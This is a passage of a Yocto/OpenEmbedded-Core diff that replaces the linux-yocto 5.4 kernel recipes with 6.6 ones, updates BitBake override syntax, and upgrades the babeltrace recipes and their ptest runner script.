+# PREFERRED_PROVIDER for virtual/kernel. This avoids errors when trying
+# to build multiple virtual/kernel providers, e.g. as dependency of
+# core-image-rt-sdk, core-image-rt.
+python () {
+ if d.getVar("KERNEL_PACKAGE_NAME") == "kernel" and d.getVar("PREFERRED_PROVIDER_virtual/kernel") != "linux-yocto-rt":
+ raise bb.parse.SkipRecipe("Set PREFERRED_PROVIDER_virtual/kernel to linux-yocto-rt to enable it")
+}
+
+SRCREV_machine ?= "19813826de57a6425518c7b3daf8dd6a04d2321f"
+SRCREV_meta ?= "f7f00b22efcfcae6489e9ec7db7002685fbc078b"
+
+SRC_URI = "git://git.yoctoproject.org/linux-yocto.git;branch=${KBRANCH};name=machine;protocol=https \
+ git://git.yoctoproject.org/yocto-kernel-cache;type=kmeta;name=meta;branch=yocto-6.6;destsuffix=${KMETA};protocol=https"
+
+LINUX_VERSION ?= "6.6.23"
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=6bc538ed5bd9a7fc9398086aedcd7e46"
+
+DEPENDS += "${@bb.utils.contains('ARCH', 'x86', 'elfutils-native', '', d)}"
+DEPENDS += "openssl-native util-linux-native"
+
+PV = "${LINUX_VERSION}+git"
+
+KMETA = "kernel-meta"
+KCONF_BSP_AUDIT_LEVEL = "1"
+
+LINUX_KERNEL_TYPE = "preempt-rt"
+
+COMPATIBLE_MACHINE = "^(qemux86|qemux86-64|qemuarm|qemuarmv5|qemuarm64|qemuppc|qemumips)$"
+
+KERNEL_DEVICETREE:qemuarmv5 = "arm/versatile-pb.dtb"
+
+# Functionality flags
+KERNEL_EXTRA_FEATURES ?= "features/netfilter/netfilter.scc features/taskstats/taskstats.scc"
+KERNEL_FEATURES:append = " ${KERNEL_EXTRA_FEATURES}"
+KERNEL_FEATURES:append:qemuall=" cfg/virtio.scc features/drm-bochs/drm-bochs.scc"
+KERNEL_FEATURES:append:qemux86=" cfg/sound.scc cfg/paravirt_kvm.scc"
+KERNEL_FEATURES:append:qemux86-64=" cfg/sound.scc cfg/paravirt_kvm.scc"
+KERNEL_FEATURES:append = "${@bb.utils.contains("DISTRO_FEATURES", "ptest", " features/scsi/scsi-debug.scc", "", d)}"
+KERNEL_FEATURES:append = "${@bb.utils.contains("DISTRO_FEATURES", "ptest", " features/gpio/mockup.scc features/gpio/sim.scc", "", d)}"
diff --git a/meta/recipes-kernel/linux/linux-yocto-tiny_5.4.bb b/meta/recipes-kernel/linux/linux-yocto-tiny_5.4.bb
deleted file mode 100644
index 9881b09a9f..0000000000
--- a/meta/recipes-kernel/linux/linux-yocto-tiny_5.4.bb
+++ /dev/null
@@ -1,32 +0,0 @@
-KBRANCH ?= "v5.4/standard/tiny/base"
-KBRANCH_qemuarm ?= "v5.4/standard/tiny/arm-versatile-926ejs"
-
-LINUX_KERNEL_TYPE = "tiny"
-KCONFIG_MODE = "--allnoconfig"
-
-require recipes-kernel/linux/linux-yocto.inc
-
-LINUX_VERSION ?= "5.4.54"
-LIC_FILES_CHKSUM = "file://COPYING;md5=bbea815ee2795b2f4230826c0c6b8814"
-
-DEPENDS += "${@bb.utils.contains('ARCH', 'x86', 'elfutils-native', '', d)}"
-DEPENDS += "openssl-native util-linux-native"
-
-KMETA = "kernel-meta"
-KCONF_BSP_AUDIT_LEVEL = "2"
-
-SRCREV_machine_qemuarm ?= "58d322d637edd20fe24aadfdc0d621f63700c009"
-SRCREV_machine ?= "9fc2fb2e73466a520ee9a3c48b3ca2f5b21415dc"
-SRCREV_meta ?= "96883b38c16febfa10668d16fe08a5cdc3419872"
-
-PV = "${LINUX_VERSION}+git${SRCPV}"
-
-SRC_URI = "git://git.yoctoproject.org/linux-yocto.git;branch=${KBRANCH};name=machine \
- git://git.yoctoproject.org/yocto-kernel-cache;type=kmeta;name=meta;branch=yocto-5.4;destsuffix=${KMETA}"
-
-COMPATIBLE_MACHINE = "qemux86|qemux86-64|qemuarm|qemuarmv5"
-
-# Functionality flags
-KERNEL_FEATURES = ""
-
-KERNEL_DEVICETREE_qemuarmv5 = "versatile-pb.dtb"
diff --git a/meta/recipes-kernel/linux/linux-yocto-tiny_6.6.bb b/meta/recipes-kernel/linux/linux-yocto-tiny_6.6.bb
new file mode 100644
index 0000000000..db9e252572
--- /dev/null
+++ b/meta/recipes-kernel/linux/linux-yocto-tiny_6.6.bb
@@ -0,0 +1,33 @@
+KBRANCH ?= "v6.6/standard/tiny/base"
+
+LINUX_KERNEL_TYPE = "tiny"
+KCONFIG_MODE = "--allnoconfig"
+
+require recipes-kernel/linux/linux-yocto.inc
+
+# CVE exclusions
+include recipes-kernel/linux/cve-exclusion_6.6.inc
+
+LINUX_VERSION ?= "6.6.23"
+LIC_FILES_CHKSUM = "file://COPYING;md5=6bc538ed5bd9a7fc9398086aedcd7e46"
+
+DEPENDS += "${@bb.utils.contains('ARCH', 'x86', 'elfutils-native', '', d)}"
+DEPENDS += "openssl-native util-linux-native"
+
+KMETA = "kernel-meta"
+KCONF_BSP_AUDIT_LEVEL = "2"
+
+SRCREV_machine ?= "2d01bc1d4eeade12518371139dd24a21438f523c"
+SRCREV_meta ?= "f7f00b22efcfcae6489e9ec7db7002685fbc078b"
+
+PV = "${LINUX_VERSION}+git"
+
+SRC_URI = "git://git.yoctoproject.org/linux-yocto.git;branch=${KBRANCH};name=machine;protocol=https \
+ git://git.yoctoproject.org/yocto-kernel-cache;type=kmeta;name=meta;branch=yocto-6.6;destsuffix=${KMETA};protocol=https"
+
+COMPATIBLE_MACHINE = "^(qemux86|qemux86-64|qemuarm64|qemuarm|qemuarmv5)$"
+
+# Functionality flags
+KERNEL_FEATURES = ""
+
+KERNEL_DEVICETREE:qemuarmv5 = "arm/versatile-pb.dtb"
diff --git a/meta/recipes-kernel/linux/linux-yocto.inc b/meta/recipes-kernel/linux/linux-yocto.inc
index bd37006f88..0132fcffb3 100644
--- a/meta/recipes-kernel/linux/linux-yocto.inc
+++ b/meta/recipes-kernel/linux/linux-yocto.inc
@@ -1,6 +1,7 @@
SUMMARY = "Linux kernel"
SECTION = "kernel"
-LICENSE = "GPLv2"
+LICENSE = "GPL-2.0-only"
+HOMEPAGE = "https://www.yoctoproject.org/"
LIC_FILES_CHKSUM ?= "file://COPYING;md5=d7810fab7487fb0aad327b76f1be7cd7"
@@ -18,21 +19,23 @@ python () {
}
DEPENDS += "xz-native bc-native"
-DEPENDS_append_aarch64 = " libgcc"
-KERNEL_CC_append_aarch64 = " ${TOOLCHAIN_OPTIONS}"
-KERNEL_LD_append_aarch64 = " ${TOOLCHAIN_OPTIONS}"
+DEPENDS:append:aarch64 = " libgcc"
+KERNEL_CC:append:aarch64 = " ${TOOLCHAIN_OPTIONS}"
+KERNEL_LD:append:aarch64 = " ${TOOLCHAIN_OPTIONS}"
-DEPENDS_append_nios2 = " libgcc"
-KERNEL_CC_append_nios2 = " ${TOOLCHAIN_OPTIONS}"
-KERNEL_LD_append_nios2 = " ${TOOLCHAIN_OPTIONS}"
+DEPENDS:append:nios2 = " libgcc"
+KERNEL_CC:append:nios2 = " ${TOOLCHAIN_OPTIONS}"
+KERNEL_LD:append:nios2 = " ${TOOLCHAIN_OPTIONS}"
-DEPENDS_append_arc = " libgcc"
-KERNEL_CC_append_arc = " ${TOOLCHAIN_OPTIONS}"
-KERNEL_LD_append_arc = " ${TOOLCHAIN_OPTIONS}"
+DEPENDS:append:arc = " libgcc"
+KERNEL_CC:append:arc = " ${TOOLCHAIN_OPTIONS}"
+KERNEL_LD:append:arc = " ${TOOLCHAIN_OPTIONS}"
-KERNEL_FEATURES_append_qemuall=" features/debug/printk.scc"
+KERNEL_FEATURES:append:qemuall=" features/debug/printk.scc features/taskstats/taskstats.scc"
-KERNEL_FEATURES_append = " ${@bb.utils.contains('MACHINE_FEATURES', 'numa', 'features/numa/numa.scc', '', d)}"
+KERNEL_FEATURES:append = " ${@bb.utils.contains('MACHINE_FEATURES', 'efi', 'cfg/efi.scc', '', d)}"
+KERNEL_FEATURES:append = " ${@bb.utils.contains('MACHINE_FEATURES', 'numa', 'features/numa/numa.scc', '', d)}"
+KERNEL_FEATURES:append = " ${@bb.utils.contains('MACHINE_FEATURES', 'vfat', 'cfg/fs/vfat.scc', '', d)}"
# A KMACHINE is the mapping of a yocto $MACHINE to what is built
# by the kernel. This is typically the branch that should be built,
@@ -47,11 +50,32 @@ inherit kernel-yocto
B = "${WORKDIR}/linux-${PACKAGE_ARCH}-${LINUX_KERNEL_TYPE}-build"
-do_install_append(){
+do_install:append(){
if [ -n "${KMETA}" ]; then
rm -rf ${STAGING_KERNEL_DIR}/${KMETA}
fi
}
# enable kernel-sample for oeqa/runtime/cases's ksample.py test
-KERNEL_FEATURES_append_qemuall=" features/kernel-sample/kernel-sample.scc"
+KERNEL_FEATURES:append:qemuall=" features/kernel-sample/kernel-sample.scc"
+
+KERNEL_DEBUG ?= ""
+# These used to be version specific, but are now common dependencies. New
+# tools / dependencies will continue to be added in version specific recipes.
+DEPENDS += '${@bb.utils.contains_any("ARCH", [ "x86", "arm64", "powerpc" ], "elfutils-native", "", d)}'
+DEPENDS += "openssl-native util-linux-native"
+DEPENDS += "gmp-native libmpc-native"
+
+# Some options depend on CONFIG_PAHOLE_VERSION, so need to make pahole-native available before do_kernel_configme
+do_kernel_configme[depends] += '${@bb.utils.contains("KERNEL_DEBUG", "True", "pahole-native:do_populate_sysroot", "", d)}'
+
+EXTRA_OEMAKE += '${@bb.utils.contains("KERNEL_DEBUG", "True", "", "PAHOLE=false", d)}'
+
+do_devshell:prepend() {
+ # setup native pkg-config variables (kconfig scripts call pkg-config directly, cannot generically be overriden to pkg-config-native)
+ d.setVar("PKG_CONFIG_DIR", "${STAGING_DIR_NATIVE}${libdir_native}/pkgconfig")
+ d.setVar("PKG_CONFIG_PATH", "${PKG_CONFIG_DIR}:${STAGING_DATADIR_NATIVE}/pkgconfig")
+ d.setVar("PKG_CONFIG_LIBDIR", "${PKG_CONFIG_DIR}")
+ d.setVarFlag("PKG_CONFIG_SYSROOT_DIR", "unexport", "1")
+ d.appendVar("OE_TERMINAL_EXPORTS", " PKG_CONFIG_DIR PKG_CONFIG_PATH PKG_CONFIG_LIBDIR PKG_CONFIG_SYSROOT_DIR")
+}
diff --git a/meta/recipes-kernel/linux/linux-yocto_5.4.bb b/meta/recipes-kernel/linux/linux-yocto_5.4.bb
deleted file mode 100644
index 556eaa6b89..0000000000
--- a/meta/recipes-kernel/linux/linux-yocto_5.4.bb
+++ /dev/null
@@ -1,54 +0,0 @@
-KBRANCH ?= "v5.4/standard/base"
-
-require recipes-kernel/linux/linux-yocto.inc
-
-# board specific branches
-KBRANCH_qemuarm ?= "v5.4/standard/arm-versatile-926ejs"
-KBRANCH_qemuarm64 ?= "v5.4/standard/qemuarm64"
-KBRANCH_qemumips ?= "v5.4/standard/mti-malta32"
-KBRANCH_qemuppc ?= "v5.4/standard/qemuppc"
-KBRANCH_qemuriscv64 ?= "v5.4/standard/base"
-KBRANCH_qemux86 ?= "v5.4/standard/base"
-KBRANCH_qemux86-64 ?= "v5.4/standard/base"
-KBRANCH_qemumips64 ?= "v5.4/standard/mti-malta64"
-
-SRCREV_machine_qemuarm ?= "84e270de836971e9fec8e6acbe06f8a2e1405916"
-SRCREV_machine_qemuarm64 ?= "9fc2fb2e73466a520ee9a3c48b3ca2f5b21415dc"
-SRCREV_machine_qemumips ?= "f418fa62aec041e4c3b5c28df853a8c636fa2f62"
-SRCREV_machine_qemuppc ?= "9fc2fb2e73466a520ee9a3c48b3ca2f5b21415dc"
-SRCREV_machine_qemuriscv64 ?= "9fc2fb2e73466a520ee9a3c48b3ca2f5b21415dc"
-SRCREV_machine_qemux86 ?= "9fc2fb2e73466a520ee9a3c48b3ca2f5b21415dc"
-SRCREV_machine_qemux86-64 ?= "9fc2fb2e73466a520ee9a3c48b3ca2f5b21415dc"
-SRCREV_machine_qemumips64 ?= "3a515b583c3efc896cafa4f7f1e784456a360f8f"
-SRCREV_machine ?= "9fc2fb2e73466a520ee9a3c48b3ca2f5b21415dc"
-SRCREV_meta ?= "96883b38c16febfa10668d16fe08a5cdc3419872"
-
-# remap qemuarm to qemuarma15 for the 5.4 kernel
-# KMACHINE_qemuarm ?= "qemuarma15"
-
-SRC_URI = "git://git.yoctoproject.org/linux-yocto.git;name=machine;branch=${KBRANCH}; \
- git://git.yoctoproject.org/yocto-kernel-cache;type=kmeta;name=meta;branch=yocto-5.4;destsuffix=${KMETA}"
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=bbea815ee2795b2f4230826c0c6b8814"
-LINUX_VERSION ?= "5.4.54"
-
-DEPENDS += "${@bb.utils.contains('ARCH', 'x86', 'elfutils-native', '', d)}"
-DEPENDS += "openssl-native util-linux-native"
-
-PV = "${LINUX_VERSION}+git${SRCPV}"
-
-KMETA = "kernel-meta"
-KCONF_BSP_AUDIT_LEVEL = "1"
-
-KERNEL_DEVICETREE_qemuarmv5 = "versatile-pb.dtb"
-
-COMPATIBLE_MACHINE = "qemuarm|qemuarmv5|qemuarm64|qemux86|qemuppc|qemumips|qemumips64|qemux86-64|qemuriscv64"
-
-# Functionality flags
-KERNEL_EXTRA_FEATURES ?= "features/netfilter/netfilter.scc"
-KERNEL_FEATURES_append = " ${KERNEL_EXTRA_FEATURES}"
-KERNEL_FEATURES_append_qemuall=" cfg/virtio.scc features/drm-bochs/drm-bochs.scc"
-KERNEL_FEATURES_append_qemux86=" cfg/sound.scc cfg/paravirt_kvm.scc"
-KERNEL_FEATURES_append_qemux86-64=" cfg/sound.scc cfg/paravirt_kvm.scc"
-KERNEL_FEATURES_append = " ${@bb.utils.contains("TUNE_FEATURES", "mx32", " cfg/x32.scc", "" ,d)}"
-KERNEL_FEATURES_append = " ${@bb.utils.contains("DISTRO_FEATURES", "ptest", " features/scsi/scsi-debug.scc", "" ,d)}"
diff --git a/meta/recipes-kernel/linux/linux-yocto_6.6.bb b/meta/recipes-kernel/linux/linux-yocto_6.6.bb
new file mode 100644
index 0000000000..43696db59b
--- /dev/null
+++ b/meta/recipes-kernel/linux/linux-yocto_6.6.bb
@@ -0,0 +1,72 @@
+KBRANCH ?= "v6.6/standard/base"
+
+require recipes-kernel/linux/linux-yocto.inc
+
+# CVE exclusions
+include recipes-kernel/linux/cve-exclusion.inc
+include recipes-kernel/linux/cve-exclusion_6.6.inc
+
+# board specific branches
+KBRANCH:qemuarm ?= "v6.6/standard/arm-versatile-926ejs"
+KBRANCH:qemuarm64 ?= "v6.6/standard/qemuarm64"
+KBRANCH:qemumips ?= "v6.6/standard/mti-malta32"
+KBRANCH:qemuppc ?= "v6.6/standard/qemuppc"
+KBRANCH:qemuriscv64 ?= "v6.6/standard/base"
+KBRANCH:qemuriscv32 ?= "v6.6/standard/base"
+KBRANCH:qemux86 ?= "v6.6/standard/base"
+KBRANCH:qemux86-64 ?= "v6.6/standard/base"
+KBRANCH:qemuloongarch64 ?= "v6.6/standard/base"
+KBRANCH:qemumips64 ?= "v6.6/standard/mti-malta64"
+
+SRCREV_machine:qemuarm ?= "ceb94a85299b59d8840ed7ed392b1d3e4c727678"
+SRCREV_machine:qemuarm64 ?= "2d01bc1d4eeade12518371139dd24a21438f523c"
+SRCREV_machine:qemuloongarch64 ?= "2d01bc1d4eeade12518371139dd24a21438f523c"
+SRCREV_machine:qemumips ?= "c79ffc89f8909f60de52005ef258db9752634eda"
+SRCREV_machine:qemuppc ?= "2d01bc1d4eeade12518371139dd24a21438f523c"
+SRCREV_machine:qemuriscv64 ?= "2d01bc1d4eeade12518371139dd24a21438f523c"
+SRCREV_machine:qemuriscv32 ?= "2d01bc1d4eeade12518371139dd24a21438f523c"
+SRCREV_machine:qemux86 ?= "2d01bc1d4eeade12518371139dd24a21438f523c"
+SRCREV_machine:qemux86-64 ?= "2d01bc1d4eeade12518371139dd24a21438f523c"
+SRCREV_machine:qemumips64 ?= "b0a73fa83073c8d7d7bc917bcbeac88d296ebe38"
+SRCREV_machine ?= "2d01bc1d4eeade12518371139dd24a21438f523c"
+SRCREV_meta ?= "f7f00b22efcfcae6489e9ec7db7002685fbc078b"
+
+# set your preferred provider of linux-yocto to 'linux-yocto-upstream', and you'll
+# get the <version>/base branch, which is pure upstream -stable, and the same
+# meta SRCREV as the linux-yocto-standard builds. Select your version using the
+# normal PREFERRED_VERSION settings.
+BBCLASSEXTEND = "devupstream:target"
+SRCREV_machine:class-devupstream ?= "5c7587f69194bc9fc714953ab4c7203e6e68885b"
+PN:class-devupstream = "linux-yocto-upstream"
+KBRANCH:class-devupstream = "v6.6/base"
+
+SRC_URI = "git://git.yoctoproject.org/linux-yocto.git;name=machine;branch=${KBRANCH};protocol=https \
+ git://git.yoctoproject.org/yocto-kernel-cache;type=kmeta;name=meta;branch=yocto-6.6;destsuffix=${KMETA};protocol=https"
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=6bc538ed5bd9a7fc9398086aedcd7e46"
+LINUX_VERSION ?= "6.6.23"
+
+PV = "${LINUX_VERSION}+git"
+
+KMETA = "kernel-meta"
+KCONF_BSP_AUDIT_LEVEL = "1"
+
+KERNEL_DEVICETREE:qemuarmv5 = "arm/versatile-pb.dtb"
+
+COMPATIBLE_MACHINE = "^(qemuarm|qemuarmv5|qemuarm64|qemux86|qemuppc|qemuppc64|qemumips|qemumips64|qemux86-64|qemuriscv64|qemuriscv32|qemuloongarch64)$"
+
+# Functionality flags
+KERNEL_EXTRA_FEATURES ?= "features/netfilter/netfilter.scc"
+KERNEL_FEATURES:append = " ${KERNEL_EXTRA_FEATURES}"
+KERNEL_FEATURES:append:qemuall=" cfg/virtio.scc features/drm-bochs/drm-bochs.scc cfg/net/mdio.scc"
+KERNEL_FEATURES:append:qemux86=" cfg/sound.scc cfg/paravirt_kvm.scc"
+KERNEL_FEATURES:append:qemux86-64=" cfg/sound.scc cfg/paravirt_kvm.scc"
+KERNEL_FEATURES:append = " ${@bb.utils.contains("TUNE_FEATURES", "mx32", " cfg/x32.scc", "", d)}"
+KERNEL_FEATURES:append = " ${@bb.utils.contains("DISTRO_FEATURES", "ptest", " features/scsi/scsi-debug.scc features/nf_tables/nft_test.scc", "", d)}"
+KERNEL_FEATURES:append = " ${@bb.utils.contains("DISTRO_FEATURES", "ptest", " features/gpio/mockup.scc features/gpio/sim.scc", "", d)}"
+KERNEL_FEATURES:append:powerpc =" arch/powerpc/powerpc-debug.scc"
+KERNEL_FEATURES:append:powerpc64 =" arch/powerpc/powerpc-debug.scc"
+KERNEL_FEATURES:append:powerpc64le =" arch/powerpc/powerpc-debug.scc"
+
+INSANE_SKIP:kernel-vmlinux:qemuppc64 = "textrel"
+
diff --git a/meta/recipes-kernel/lttng/babeltrace2/run-ptest b/meta/recipes-kernel/lttng/babeltrace2/run-ptest
index 72fe223436..71a9c81bfb 100755
--- a/meta/recipes-kernel/lttng/babeltrace2/run-ptest
+++ b/meta/recipes-kernel/lttng/babeltrace2/run-ptest
@@ -6,4 +6,14 @@
# test plan to raise ERRORs; this is just noise.
makeargs="LOG_DRIVER_FLAGS=--ignore-exit abs_top_srcdir=$PWD abs_top_builddir=$PWD GREP=grep SED=sed PYTHON=python3"
-exec make -C tests -k -s $makeargs $target 2>/dev/null
+exec 2> error.log
+make -C tests -k -s $makeargs $target
+exitcode=$?
+if [ -e error.log ]; then
+ cat error.log
+fi
+if [ -e tests/test-suite.log ]; then
+ cat tests/test-suite.log
+fi
+
+exit $exitcode \ No newline at end of file
diff --git a/meta/recipes-kernel/lttng/babeltrace2_2.0.3.bb b/meta/recipes-kernel/lttng/babeltrace2_2.0.3.bb
deleted file mode 100644
index c65882581d..0000000000
--- a/meta/recipes-kernel/lttng/babeltrace2_2.0.3.bb
+++ /dev/null
@@ -1,93 +0,0 @@
-SUMMARY = "Babeltrace2 - Trace Format Babel Tower"
-DESCRIPTION = "Babeltrace provides trace read and write libraries in host side, as well as a trace converter, which used to convert LTTng 2.0 traces into human-readable log."
-HOMEPAGE = "http://babeltrace.org/"
-BUGTRACKER = "https://bugs.lttng.org/projects/babeltrace"
-LICENSE = "MIT & GPLv2 & LGPLv2.1 & BSD-2-Clause"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=a6a458c13f18385b7bc5069a6d7b176e"
-
-DEPENDS = "glib-2.0 util-linux popt bison-native flex-native"
-
-SRC_URI = "git://git.efficios.com/babeltrace.git;branch=stable-2.0 \
- file://run-ptest \
- file://0001-tests-do-not-run-test-applications-from-.libs.patch \
- file://0001-Make-manpages-multilib-identical.patch \
- "
-SRCREV = "91d154476e66735d705adda9ca5cbf5b5eea5940"
-UPSTREAM_CHECK_GITTAGREGEX = "v(?P<pver>2(\.\d+)+)$"
-
-S = "${WORKDIR}/git"
-
-inherit autotools pkgconfig ptest
-
-EXTRA_OECONF = "--disable-debug-info"
-
-PACKAGECONFIG ??= "manpages"
-PACKAGECONFIG[manpages] = ", --disable-man-pages, asciidoc-native xmlto-native"
-
-FILES_${PN}-staticdev += "${libdir}/babeltrace2/plugins/*.a"
-FILES_${PN} += "${libdir}/babeltrace2/plugins/*.so"
-
-ASNEEDED = ""
-
-RDEPENDS_${PN}-ptest += "bash gawk python3"
-
-do_compile_ptest () {
- make -C tests all
-}
-
-do_install_ptest () {
- install -d "${D}${PTEST_PATH}/tests"
-
- # Copy required files from source directory
- for d in $(find "${S}/tests" -type d -printf '%P ') ; do
- install -d "${D}${PTEST_PATH}/tests/$d"
- find "${S}/tests/$d" -maxdepth 1 -executable -type f \
- -exec install -t "${D}${PTEST_PATH}/tests/$d" {} +
- find "${S}/tests/$d" -maxdepth 1 -name *.sh \
- -exec install -t "${D}${PTEST_PATH}/tests/$d" {} \;
- find "${S}/tests/$d" -maxdepth 1 -name *.py \
- -exec install -t "${D}${PTEST_PATH}/tests/$d" {} \;
- find "${S}/tests/$d" -maxdepth 1 -name *.expect \
- -exec install -t "${D}${PTEST_PATH}/tests/$d" {} \;
- done
- install -d "${D}${PTEST_PATH}/tests/data/ctf-traces/"
- cp -a ${S}/tests/data/ctf-traces/* ${D}${PTEST_PATH}/tests/data/ctf-traces/
-
- # Copy the tests directory tree and the executables and
- # Makefiles found within.
- install -D "${B}/tests/Makefile" "${D}${PTEST_PATH}/tests/"
- for d in $(find "${B}/tests" -type d -not -name .libs -printf '%P ') ; do
- install -d "${D}${PTEST_PATH}/tests/$d"
- find "${B}/tests/$d" -maxdepth 1 -executable -type f \
- -exec install -t "${D}${PTEST_PATH}/tests/$d" {} +
- test -r "${B}/tests/$d/Makefile" && \
- install -t "${D}${PTEST_PATH}/tests/$d" "${B}/tests/$d/Makefile"
- find "${B}/tests/$d" -maxdepth 1 -name *.sh \
- -exec install -t "${D}${PTEST_PATH}/tests/$d" {} \;
- done
-
- for d in $(find "${B}/tests" -type d -name .libs -printf '%P ') ; do
- for f in $(find "${B}/tests/$d" -maxdepth 1 -executable -type f -printf '%P ') ; do
- cp ${B}/tests/$d/$f ${D}${PTEST_PATH}/tests/`dirname $d`/$f
- done
- done
-
- # Prevent attempts to update Makefiles during test runs, and
- # silence "Making check in $SUBDIR" messages.
- find "${D}${PTEST_PATH}" -name Makefile -type f -exec \
- sed -i \
- -e '/Makefile:/,/^$/d' \
- -e '/%: %.in/,/^$/d' \
- -e '/echo "Making $$target in $$subdir"; \\/d' \
- -e 's/^srcdir = \(.*\)/srcdir = ./' \
- -e 's/^builddir = \(.*\)/builddir = ./' \
- -e 's/^all-am:.*/all-am:/' \
- {} +
-
- # Substitute links to installed binaries.
- install -d "${D}${PTEST_PATH}/src/cli/"
- ln -s "${bindir}/babeltrace2" ${D}${PTEST_PATH}/src/cli/
-
- # Remove architechture specific testfiles
- rm -rf ${D}${PTEST_PATH}/tests/data/plugins/flt.lttng-utils.debug-info/*
-}
diff --git a/meta/recipes-kernel/lttng/babeltrace2_2.0.6.bb b/meta/recipes-kernel/lttng/babeltrace2_2.0.6.bb
new file mode 100644
index 0000000000..d6c75d7580
--- /dev/null
+++ b/meta/recipes-kernel/lttng/babeltrace2_2.0.6.bb
@@ -0,0 +1,95 @@
+SUMMARY = "Babeltrace2 - Trace Format Babel Tower"
+DESCRIPTION = "Babeltrace provides trace read and write libraries in host side, as well as a trace converter, which used to convert LTTng 2.0 traces into human-readable log."
+HOMEPAGE = "http://babeltrace.org/"
+BUGTRACKER = "https://bugs.lttng.org/projects/babeltrace"
+LICENSE = "MIT & GPL-2.0-only & LGPL-2.1-only & BSD-2-Clause"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=a6a458c13f18385b7bc5069a6d7b176e"
+
+DEPENDS = "glib-2.0 util-linux popt bison-native flex-native"
+
+SRC_URI = "git://git.efficios.com/babeltrace.git;branch=stable-2.0;protocol=https \
+ file://run-ptest \
+ file://0001-tests-do-not-run-test-applications-from-.libs.patch \
+ file://0001-Make-manpages-multilib-identical.patch \
+ "
+SRCREV = "0a6632f77801f3218a288604c646f8a39cb0d2c4"
+UPSTREAM_CHECK_GITTAGREGEX = "v(?P<pver>2(\.\d+)+)$"
+
+S = "${WORKDIR}/git"
+
+inherit autotools pkgconfig ptest python3targetconfig
+
+EXTRA_OECONF = "--disable-debug-info --disable-Werror"
+
+PACKAGECONFIG ??= "manpages"
+PACKAGECONFIG[manpages] = ", --disable-man-pages, asciidoc-native xmlto-native"
+
+FILES:${PN}-staticdev += "${libdir}/babeltrace2/plugins/*.a"
+FILES:${PN} += "${libdir}/babeltrace2/plugins/*.so"
+
+ASNEEDED = ""
+LDFLAGS:append = "${@bb.utils.contains('DISTRO_FEATURES', 'ld-is-lld ptest', ' -fuse-ld=bfd ', '', d)}"
+
+# coreutils since we need full mktemp
+RDEPENDS:${PN}-ptest += "bash gawk python3 make grep coreutils findutils"
+
+do_compile_ptest () {
+ make -C tests all
+}
+
+do_install_ptest () {
+ install -d "${D}${PTEST_PATH}/tests"
+
+ # Copy required files from source directory
+ for d in $(find "${S}/tests" -type d -printf '%P ') ; do
+ install -d "${D}${PTEST_PATH}/tests/$d"
+ find "${S}/tests/$d" -maxdepth 1 -executable -type f \
+ -exec install -t "${D}${PTEST_PATH}/tests/$d" {} +
+ find "${S}/tests/$d" -maxdepth 1 -name *.sh \
+ -exec install -t "${D}${PTEST_PATH}/tests/$d" {} \;
+ find "${S}/tests/$d" -maxdepth 1 -name *.py \
+ -exec install -t "${D}${PTEST_PATH}/tests/$d" {} \;
+ find "${S}/tests/$d" -maxdepth 1 -name *.expect \
+ -exec install -t "${D}${PTEST_PATH}/tests/$d" {} \;
+ done
+ install -d "${D}${PTEST_PATH}/tests/data/ctf-traces/"
+ cp -a ${S}/tests/data/ctf-traces/* ${D}${PTEST_PATH}/tests/data/ctf-traces/
+
+ # Copy the tests directory tree and the executables and
+ # Makefiles found within.
+ install -D "${B}/tests/Makefile" "${D}${PTEST_PATH}/tests/"
+ for d in $(find "${B}/tests" -type d -not -name .libs -printf '%P ') ; do
+ install -d "${D}${PTEST_PATH}/tests/$d"
+ find "${B}/tests/$d" -maxdepth 1 -executable -type f \
+ -exec install -t "${D}${PTEST_PATH}/tests/$d" {} +
+ test -r "${B}/tests/$d/Makefile" && \
+ install -t "${D}${PTEST_PATH}/tests/$d" "${B}/tests/$d/Makefile"
+ find "${B}/tests/$d" -maxdepth 1 -name *.sh \
+ -exec install -t "${D}${PTEST_PATH}/tests/$d" {} \;
+ done
+
+ for d in $(find "${B}/tests" -type d -name .libs -printf '%P ') ; do
+ for f in $(find "${B}/tests/$d" -maxdepth 1 -executable -type f -printf '%P ') ; do
+ cp ${B}/tests/$d/$f ${D}${PTEST_PATH}/tests/`dirname $d`/$f
+ done
+ done
+
+ # Prevent attempts to update Makefiles during test runs, and
+ # silence "Making check in $SUBDIR" messages.
+ find "${D}${PTEST_PATH}" -name Makefile -type f -exec \
+ sed -i \
+ -e '/Makefile:/,/^$/d' \
+ -e '/%: %.in/,/^$/d' \
+ -e '/echo "Making $$target in $$subdir"; \\/d' \
+ -e 's/^srcdir = \(.*\)/srcdir = ./' \
+ -e 's/^builddir = \(.*\)/builddir = ./' \
+ -e 's/^all-am:.*/all-am:/' \
+ {} +
+
+ # Substitute links to installed binaries.
+ install -d "${D}${PTEST_PATH}/src/cli/"
+ ln -s "${bindir}/babeltrace2" ${D}${PTEST_PATH}/src/cli/
+
+ # Remove architechture specific testfiles
+ rm -rf ${D}${PTEST_PATH}/tests/data/plugins/flt.lttng-utils.debug-info/*
+}
diff --git a/meta/recipes-kernel/lttng/babeltrace_1.5.11.bb b/meta/recipes-kernel/lttng/babeltrace_1.5.11.bb
new file mode 100644
index 0000000000..f4d9b5e42a
--- /dev/null
+++ b/meta/recipes-kernel/lttng/babeltrace_1.5.11.bb
@@ -0,0 +1,98 @@
+SUMMARY = "Babeltrace - Trace Format Babel Tower"
+DESCRIPTION = "Babeltrace provides trace read and write libraries in host side, as well as a trace converter, which used to convert LTTng 2.0 traces into human-readable log."
+HOMEPAGE = "http://babeltrace.org/"
+BUGTRACKER = "https://bugs.lttng.org/projects/babeltrace"
+LICENSE = "MIT & GPL-2.0-only & LGPL-2.1-only"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=76ba15dd76a248e1dd526bca0e2125fa"
+
+DEPENDS = "glib-2.0 util-linux popt bison-native flex-native"
+
+SRC_URI = "git://git.efficios.com/babeltrace.git;branch=stable-1.5;protocol=https \
+ file://run-ptest \
+ "
+SRCREV = "91c00f70884887ff5c4849a8e3d47e311a22ba9d"
+UPSTREAM_CHECK_GITTAGREGEX = "v(?P<pver>1(\.\d+)+)$"
+
+S = "${WORKDIR}/git"
+
+inherit autotools pkgconfig ptest
+
+EXTRA_OECONF = "--disable-debug-info"
+
+ASNEEDED = ""
+
+RDEPENDS:${PN}-ptest += "bash gawk make"
+
